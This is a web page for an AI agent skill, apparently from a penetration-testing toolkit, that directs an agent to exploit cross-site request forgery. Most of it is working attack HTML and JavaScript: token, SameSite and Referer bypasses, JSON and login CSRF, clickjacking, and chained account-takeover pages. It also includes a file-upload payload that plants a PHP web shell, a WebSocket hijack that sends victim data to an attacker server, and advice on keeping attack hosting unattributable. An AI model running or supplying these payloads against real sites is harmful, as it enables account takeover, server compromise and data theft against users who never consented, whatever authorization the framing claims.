Agent skill
csrf
Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/csrf
SKILL.md
CSRF (Cross-Site Request Forgery)
You are helping a penetration tester exploit CSRF vulnerabilities. The target application performs state-changing actions (password change, email update, role modification, fund transfer) without properly verifying that the request originated from the application itself. The goal is to demonstrate that an attacker can trick a victim's browser into making authenticated requests to the target. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[csrf] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
CSRF testing benefits from browser tools because browser-enforced protections (SameSite cookies, CORS) only apply in a real browser context — curl bypasses them, which can produce false positives.
browser_evaluateto test SameSite cookie behavior (check if cookies are sent on cross-origin requests in a real browser)browser_opento load PoC HTML pages that submit cross-origin requests — confirms real exploitability with browser-enforced protections activebrowser_cookiesto inspect SameSite attributes and cookie flagsbrowser_screenshotfor evidence of successful CSRF exploitation- curl for initial request analysis, token extraction, and testing server-side defenses (Referer/Origin checks, token validation)
Prerequisites
- A state-changing endpoint to target (password change, email update, role modification, fund transfer, account settings)
- An authenticated session (to capture the legitimate request)
- A domain you control for hosting PoC pages (or Burp Collaborator)
- Knowledge of the target's CSRF defenses (token, SameSite, Referer check)
Step 1: Assess
Capture the target state-changing request and identify defenses.
Map State-Changing Endpoints
Look for POST/PUT/PATCH/DELETE requests that modify data:
- Account settings (email, password, profile)
- Financial operations (transfers, purchases)
- Administrative actions (role changes, user management)
- Content management (create, edit, delete)
Identify CSRF Defenses
# Capture a legitimate request and check for:
# 1. CSRF token in form body or header
grep -i "csrf\|token\|_token\|authenticity" response.html
# 2. SameSite cookie attribute
curl -sI "https://TARGET/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, SameSite=None, or absent
# 3. Referer/Origin validation
# Send request without Referer — does it still work?
curl -s -X POST -H "Cookie: session=VALID" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "email=test@test.com" \
"https://TARGET/change-email"
# 4. Custom header requirement (X-CSRF-Token, X-Requested-With)
# Check if the endpoint requires a custom header that forms can't set
Step 2: Token Bypass
Test the CSRF token validation for weaknesses.
Remove Token Entirely
The most common bypass — the server validates the token when present but accepts requests without it:
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<!-- csrf_token parameter completely omitted -->
</form>
<script>document.forms[0].submit();</script>
Empty Token Value
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf_token" value="" />
</form>
<script>document.forms[0].submit();</script>
Token Not Tied to Session
Use a token from your own session in the attack against the victim:
- Log in with your attacker account
- Extract your CSRF token from the page source
- Use it in the PoC — if the server validates tokens globally (not per-session), your token works for any user
Token from Another Endpoint
Some applications use a single token pool. Extract a token from one endpoint and use it on the target endpoint.
Static or Predictable Token
Check if the token changes between requests. If it's static or follows a pattern (timestamp, sequential), it can be predicted.
Method Switch (POST to GET)
Some applications only validate CSRF on POST. Try converting to GET:
<!-- Original POST with token validation -->
<!-- Bypass: same action as GET without token -->
<img src="https://TARGET/change-email?email=attacker@evil.com" />
Step 3: SameSite Cookie Bypass
If the session cookie uses SameSite, determine the level and test bypasses.
SameSite=None
No protection — standard CSRF attacks work:
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
SameSite=Lax (or Default in Chrome)
Lax allows cookies on top-level GET navigations (link clicks, form GET submissions, redirects). POST forms and subresource requests are blocked.
Bypass 1: GET-based state change
If the endpoint accepts GET:
<!-- Top-level navigation with GET — cookies sent with Lax -->
<a href="https://TARGET/change-email?email=attacker@evil.com">Click here</a>
<!-- Auto-redirect -->
<script>
window.location = "https://TARGET/change-email?email=attacker@evil.com";
</script>
Bypass 2: Method override
<!-- POST endpoint that accepts _method override via GET -->
<a href="https://TARGET/change-email?_method=POST&email=attacker@evil.com">
Click here
</a>
Bypass 3: 2-minute window (Chrome default Lax)
If the cookie has no explicit SameSite attribute, Chrome treats it as Lax but allows cross-site POST for 2 minutes after the cookie is set. If the victim just logged in, a standard POST CSRF may work within this window.
SameSite=Strict
Cookies never sent on cross-site requests. Bypasses require same-site context:
Bypass via sibling subdomain XSS: If you find XSS on any subdomain of the
same site (e.g., blog.target.com), you can launch CSRF from there because
it's same-site.
Bypass via client-side redirect: If the target has an open redirect or client-side navigation that can be triggered cross-site, the subsequent request is same-site.
SameSite Behavior Matrix
| Request Type | Strict | Lax | None |
|---|---|---|---|
Top-level link (<a>) |
No | Yes | Yes |
| Form GET | No | Yes | Yes |
| Form POST | No | No | Yes |
| iframe | No | No | Yes |
| AJAX/fetch | No | No | Yes |
<img> |
No | No | Yes |
Step 4: Referer/Origin Header Bypass
Suppress Referer
If the server only validates Referer when present:
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Referer Regex Bypass
If the server checks that Referer contains the target domain:
<html>
<head>
<!-- Send full URL as Referer so target domain appears in it -->
<meta name="referrer" content="unsafe-url">
</head>
<body>
<script>
// Put target domain in the query string of our attacker page
history.pushState("", "", "?https://TARGET");
</script>
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
The Referer sent will be: https://attacker.com/?https://TARGET — passes
substring checks for the target domain.
Origin Header
The Origin header is harder to spoof. If the server checks Origin:
- Forms set Origin automatically (can't be suppressed)
- Only option is same-site context (XSS on subdomain, open redirect)
Step 5: Content-Type Tricks (JSON CSRF)
When the endpoint expects JSON, HTML forms can't set Content-Type: application/json
without triggering a CORS preflight. Use these bypasses.
Form with text/plain Encoding
<form method="POST" action="https://TARGET/api/change-email"
enctype="text/plain">
<input type="hidden"
name='{"email":"attacker@evil.com","ignore":"'
value='"}' />
</form>
<script>document.forms[0].submit();</script>
Request body becomes: {"email":"attacker@evil.com","ignore":"="} — valid JSON
if the server ignores the extra field.
Fetch with text/plain (No Preflight)
<script>
fetch('https://TARGET/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"email":"attacker@evil.com"}'
});
</script>
No CORS preflight for text/plain, but the server must accept the request
without Content-Type: application/json.
navigator.sendBeacon
<script>
navigator.sendBeacon(
'https://TARGET/api/change-email',
new Blob(['{"email":"attacker@evil.com"}'], {type: 'text/plain'})
);
</script>
XHR with application/x-www-form-urlencoded
If the server parses JSON from form-encoded content:
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://TARGET/api/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('{"email":"attacker@evil.com"}');
</script>
Step 6: Advanced Techniques
File Upload CSRF
<script>
function upload() {
var file = new File(
['<?php system($_GET["cmd"]); ?>'],
'shell.php',
{type: 'application/x-php'}
);
var dt = new DataTransfer();
dt.items.add(file);
document.getElementById('fileInput').files = dt.files;
document.forms[0].submit();
}
</script>
<form method="POST" action="https://TARGET/upload"
enctype="multipart/form-data" style="display:none">
<input id="fileInput" type="file" name="file" />
</form>
<script>upload();</script>
Login CSRF
Force the victim to log into the attacker's account:
<form method="POST" action="https://TARGET/login">
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="AttackerPass123!" />
</form>
<script>document.forms[0].submit();</script>
Impact: Victim is now authenticated as the attacker. If the victim enters sensitive data (credit card, address), the attacker can retrieve it from their own account. Also exploitable if combined with stored XSS in the attacker's account.
Cookie Injection via CRLF for Double-Submit Bypass
If the app uses double-submit cookie pattern (token in cookie must match token in body), inject a cookie via CRLF or subdomain:
<!-- Set cookie via CRLF injection in a parameter -->
<img src="https://TARGET/?search=test%0d%0aSet-Cookie:%20csrf=attacker_token"
onerror="document.forms[0].submit();" />
<form method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf" value="attacker_token" />
</form>
WebSocket CSRF (Cross-Site WebSocket Hijacking)
WebSocket handshakes don't have CORS protection — cookies are sent automatically:
<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onopen = function() {
// Send commands as the victim
ws.send(JSON.stringify({action: 'transfer', amount: 1000, to: 'attacker'}));
};
ws.onmessage = function(event) {
// Exfiltrate data
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: event.data
});
};
</script>
Clickjacking + CSRF
If the target is frameable (no X-Frame-Options or CSP frame-ancestors):
<style>
iframe { position: absolute; width: 500px; height: 600px;
opacity: 0.0001; z-index: 2; }
.bait { position: absolute; top: 350px; left: 150px; z-index: 1;
font-size: 24px; cursor: pointer; }
</style>
<div class="bait">Click to claim your prize!</div>
<iframe src="https://TARGET/settings?email=attacker@evil.com"></iframe>
The victim clicks the "bait" text but actually clicks the submit button in the invisible iframe.
Step 7: Build PoC Page
Once a bypass is confirmed, build a complete PoC page.
Standard POST CSRF PoC
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body>
<h1>CSRF Proof of Concept</h1>
<p>This page demonstrates CSRF on [TARGET]</p>
<form id="csrf" method="POST" action="https://TARGET/change-email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
// Auto-submit after 1 second (for demo purposes)
setTimeout(function() { document.getElementById('csrf').submit(); }, 1000);
</script>
<noscript>
<p>JavaScript required. Click the button below:</p>
<input type="submit" form="csrf" value="Submit" />
</noscript>
</body>
</html>
Silent PoC (Hidden iframe)
<!DOCTYPE html>
<html>
<body>
<iframe name="csrfFrame" style="display:none"></iframe>
<form id="csrf" method="POST" action="https://TARGET/change-email"
target="csrfFrame">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.getElementById('csrf').submit();</script>
<p>Loading...</p>
</body>
</html>
Multi-Action PoC (Chained Requests)
<script>
async function chain() {
// Step 1: Change email
var f1 = document.createElement('form');
f1.method = 'POST'; f1.action = 'https://TARGET/change-email';
f1.target = 'frame1';
var i1 = document.createElement('input');
i1.type = 'hidden'; i1.name = 'email'; i1.value = 'attacker@evil.com';
f1.appendChild(i1); document.body.appendChild(f1); f1.submit();
// Wait for first action to complete
await new Promise(r => setTimeout(r, 2000));
// Step 2: Request password reset (goes to attacker's email)
var f2 = document.createElement('form');
f2.method = 'POST'; f2.action = 'https://TARGET/reset-password';
f2.target = 'frame2';
document.body.appendChild(f2); f2.submit();
}
chain();
</script>
<iframe name="frame1" style="display:none"></iframe>
<iframe name="frame2" style="display:none"></iframe>
Step 8: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
OPSEC Notes
- CSRF testing is inherently low-OPSEC — you're crafting HTML pages, not attacking the server directly
- Token bypass testing (removing/modifying parameters) looks like normal requests with malformed data
- PoC pages must be hosted on your controlled domain — ensure it's not attributable if OPSEC matters
- The actual attack requires victim interaction (visiting your page) — no server-side artifacts beyond the forged request
- WebSocket CSRF maintains a persistent connection — visible in connection logs
Troubleshooting
Token Present and Validated
- Try removing the token parameter entirely (not just emptying it)
- Try a token from a different user session
- Try a token from a different endpoint
- Check if the token changes between requests (if static, extract and reuse)
- Look for XSS to extract the token dynamically
SameSite Blocking Cookies
- Check the exact SameSite value (
Strict,Lax, orNone) - For Lax: try GET-based state changes or method override
- For Strict: look for XSS on a same-site subdomain
- Check if any cookies lack SameSite (legacy cookies may default differently)
- Test within 2 minutes of login (Chrome's Lax-by-default grace period)
JSON Endpoint Requires application/json
- Try
text/plainencoding (no preflight) - Try
application/x-www-form-urlencodedwith JSON body - Check if the endpoint accepts form-encoded data as alternative
- If CORS is misconfigured, use fetch with
application/json(preflight will pass if CORS allows your origin)
PoC Auto-Submit Doesn't Work
- Check for frame-busting scripts (target may use
X-Frame-Options) - Try top-level navigation instead of iframe submission
- Ensure the form action URL is correct (HTTPS vs HTTP, path)
- Check browser console for CSP violations blocking inline scripts
- Test in a private/incognito window
Referer Check Blocks Request
- Try
<meta name="referrer" content="no-referrer">to suppress Referer - If that fails, put the target domain in the query string with
unsafe-url - Check if Referer validation is only on POST (try GET)
- Check if removing both Referer and Origin works
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?